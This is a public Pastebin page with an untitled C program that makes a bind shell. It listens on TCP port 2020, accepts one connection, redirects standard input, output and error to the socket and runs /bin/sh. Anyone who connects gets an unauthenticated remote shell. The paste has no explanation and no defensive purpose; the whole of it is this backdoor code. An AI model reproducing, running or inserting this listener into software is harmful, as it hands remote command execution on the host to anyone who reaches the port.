Share Pastebin
Guest
Public paste!

Untitled

By: a guest | Mar 19th, 2010 | Syntax: None | Size: 0.71 KB | Hits: 136 | Expires: Never
Copy text to clipboard
  1. #include<stdio.h>
  2. #include<sys/types.h>
  3. #include<sys/socket.h>
  4. #include<netinet/in.h>
  5.  
  6. int soc;
  7. int cli;
  8. struct sockaddr_in serv_addr;
  9. struct sockaddr_in client_addr;
  10.  
  11. int main()
  12. {
  13.                 serv_addr.sin_family  = AF_INET;
  14.                 serv_addr.sin_addr.s_addr = INADDR_ANY;
  15.                 serv_addr.sin_port = htons(2020);
  16.  
  17.                 soc = socket ( AF_INET, SOCK_STREAM, 0 );
  18.                 bind ( soc, (struct sockaddr *)&serv_addr, (socklen_t) sizeof(struct sockaddr_in) );
  19.                 listen(soc,1);
  20.                 cli = accept(soc, 0, 0);
  21.  
  22.                 dup2(cli,0);
  23.                 dup2(cli,1);
  24.                 dup2(cli,2);
  25.  
  26.                 execve("/bin/sh", "sh", 0);
  27. }